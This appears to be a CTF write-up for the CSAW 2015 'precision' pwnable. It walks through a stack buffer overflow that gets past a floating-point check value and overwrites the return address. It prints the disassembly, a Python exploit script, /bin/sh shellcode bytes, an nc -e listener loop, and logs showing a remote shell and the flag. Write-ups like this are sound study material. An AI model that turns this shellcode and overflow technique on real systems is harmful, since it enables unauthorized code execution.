CSAW2015 quals precision exploit 100
@mrexcessive WHA
CSAW exploit 100 precision
The problem
running at: nc 54.173.98.115 1259 Pwnable Exploit no-source binary-provided
The solution
OK... so first of all setup debugging, get readelf -a and objdump -d on binary
Setup a local copy of the server using simple nc shell loop so can attach gdb easily
#!/bin/sh while true; do nc -l -p 1337 -e ./precision ; done
Now we can
$nc localhost 1337 #and in another terminal $ps ax |grep precision$ $gdb ./precision -p
Now we are ready for a bit of Python to connect and then attach to process after connection starts but before we interact with the service - which makes debugging posible - much easier than just Static Analysis.
When the challenge program starts, it outputs a message
Buff: 0xff900018
and then waits for input..
So looking at the objdump output assembler, I see this code, which I comment.
804856f: 8d 44 24 18 lea 0x18(%esp),%eax 8048573: 89 44 24 04 mov %eax,0x4(%esp) 8048577: c7 04 24 82 86 04 08 movl $0x8048682,(%esp) # "%s" 804857e: e8 8d fe ff ff call 8048410 <__isoc99_scanf@plt> # we are here for input 8048583: dd 84 24 98 00 00 00 fldl 0x98(%esp) 804858a: dd 05 90 86 04 08 fldl 0x8048690 # has 0x475a31a5 8048590: df e9 fucomip %st(1),%st 8048592: dd d8 fstp %st(0) 8048594: 7a 13 jp 80485a9 8048596: dd 84 24 98 00 00 00 fldl 0x98(%esp) 804859d: dd 05 90 86 04 08 fldl 0x8048690 80485a3: df e9 fucomip %st(1),%st 80485a5: dd d8 fstp %st(0) 80485a7: 74 18 je 80485c1 # follows this once 'correct canary' patched 80485a9: c7 04 24 85 86 04 08 movl $0x8048685,(%esp) "Nope" 80485b0: e8 0b fe ff ff call 80483c0 <puts@plt> 80485b5: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80485bc: e8 1f fe ff ff call 80483e0 <exit@plt> 80485c1: a1 30 a0 04 08 mov 0x804a030,%eax "Got %s\n" 80485c6: 8d 54 24 18 lea 0x18(%esp),%edx # buffer start address 80485ca: 89 54 24 04 mov %edx,0x4(%esp) 80485ce: 89 04 24 mov %eax,(%esp) 80485d1: e8 da fd ff ff call 80483b0 <printf@plt> 80485d6: c9 leave 80485d7: c3 ret # unprotected return
Looks like the pair of fldl are being used to compare something from the input with a fixed value.
We just need to make sure the input has same content as [0x8048690] which is 0x475a31a5
That will get us to the 'correct canary' path (canary in Quotes, because not really a canary...but it is playing that role here...)
So our aim is to get to the unprotected return... There is no actual stack canary to worry about.
First attempt fails the 'canary' test.
But that's because fldl is a quadword not a doubleword.
Putting the bytes [dd 05 90 86 04 08] into ODA https://www.onlinedisassembler.com/odaweb/ makes it clearer
ODA translates this as fld QWORD PTR [esp+0x98]
So 8 bytes of data
So looking again in gdb we need the canary line of code to be:
pwn += "\xa5\x31\x5a\x47\x55\x15\x50\x40" # floating point canary...
Now it works and we get past the canary check.
We need to see how much more data to send after the 'canary', to get to overwrite the return address.
We know it will happen because the input buffer is on the stack, so is the return address...
In gdb we can see the return address on stack.
x/64xw 0xff9c4338 0xff9c4338: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4348: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4358: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4368: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4378: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4388: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c4398: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c43a8: 0x41414141 0x41414141 0x41414141 0x41414141 0xff9c43b8: 0x43434242 0x45454444 [0x08048500] # <-- this [ ] address is return
shellcode can be loaded at the start of the buffer, some padding to get to the canary, more padding and finally the return address.
A final bit of coding is needed to parse the startup message which is telling us the location of the buffer - confirmed using gdb, which is where the shellcode will be and hence the address to which we will return Buff: 0xff900018 for example.
Exploit coding time:
r = GetResponse() print r # this has our buffer address drop,keep = r.split("Buff: 0x") # swap byte order around, string "ff9c4338" must become "\x38\x43\x9c\xff" for example keep = keep[6:8] + keep[4:6] + keep[2:4] + keep[:2] buffaddressbinary = keep.decode("hex") print "buffer found at %08x" + buffaddressbinary shell = GetShellcode() pwn = shell padding_length = 128 - len(shell) print "%i padding bytes required" % padding_length pwn += "A"*padding_length pwn += "\xa5\x31\x5a\x47" # floating point canary... pwn += "A" * 0xc # account for LEAVE (mov ESP, EBP : pop EBP) pwn += buffaddressbinary # shellcode starts at start of buffer pwn += "\n" s.send(pwn) r = GetResponse() print r
So first of all test it locally
./pwnserver.pyto continue after you attach debugger Buff: 0xff900018 buffer found at %08x�� Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80] shellcode length = 24 104 padding bytes required Got 1���Qh//shh/bin�㰰��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�1ZGUP@AAAAAAAAAAAA ls asm.asm asm.asm~ challenge.txt peda-session-precision.txt precision precision.readelf precision.readelf~ precision.strings pwnserver.py pwnserver.py~ runserve.sh runserve.sh~ sam.py sam.py~
OK and run it remotely to get a flag... or shell at least
./pwnserver.py Buff: 0xffeeb118 buffer found at %08x��� Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80] shellcode length = 24 104 padding bytes required Got 1���Qh//shh/bin�㰰��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�1ZGUP@AAAAAAAAAAAA��� ls Mastho_a_une_petite_bite No_problemo dystopiannarwhalswashere flag precision_a8f6f0590c177948fe06c76a1831e650 this was more annoying than it should have been cat flaeg cat flag flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}